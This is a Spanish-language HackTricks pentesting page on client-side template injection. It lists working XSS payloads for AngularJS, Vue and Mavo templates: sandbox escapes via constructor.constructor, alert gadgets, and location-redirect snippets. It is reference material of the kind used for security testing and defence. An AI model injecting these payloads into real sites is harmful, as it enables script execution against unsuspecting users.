hacktricks/pentesting-web/client-side-template-injection-csti.md

6.7 KiB

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Resumen

Es como una Inyección de Plantillas en el Servidor pero en el cliente. La SSTI puede permitirte ejecutar código en el servidor remoto, la CSTI podría permitirte ejecutar código JavaScript arbitrario en la víctima.

La forma de probar esta vulnerabilidad es muy similar a la de SSTI, el intérprete va a esperar algo para ejecutar entre llaves dobles y lo ejecutará. Por ejemplo, usando algo como: {{ 7-7 }} si el servidor es vulnerable verás un 0 y si no, verás el original: {{ 7-7 }}

AngularJS

AngularJS es una popular biblioteca de JavaScript, que escanea el contenido de los nodos HTML que contienen el atributo ng-app (también conocido como una directiva de AngularJS). Cuando se añade una directiva al código HTML, puedes ejecutar expresiones de JavaScript dentro de llaves dobles.
Por ejemplo, si tu entrada se está reflejando dentro del cuerpo del HTML y el cuerpo está definido con ng-app: <body ng-app>

Puedes ejecutar código JavaScript arbitrario usando llaves dobles añadiendo al cuerpo:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Puede encontrar un ejemplo en línea muy básico de la vulnerabilidad en AngularJS en http://jsfiddle.net/2zs2yv7o/

{% hint style="danger" %} Angular 1.6 eliminó el sandbox por lo que a partir de esta versión un payload como {{constructor.constructor('alert(1)')()}} o <input ng-focus=$event.view.alert('XSS')> debería funcionar. {% endhint %}

VueJS

Puede encontrar una implementación vulnerable de vue.js en https://vue-client-side-template-injection-example.azu.now.sh/
Payload funcional: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Y el código fuente del ejemplo vulnerable aquí: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Un artículo muy bueno sobre CSTI en VUE se puede encontrar en https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Crédito: Mario Heiderich

Consulta más payloads de VUE en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Más payloads en https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Lista de Detección por Fuerza Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: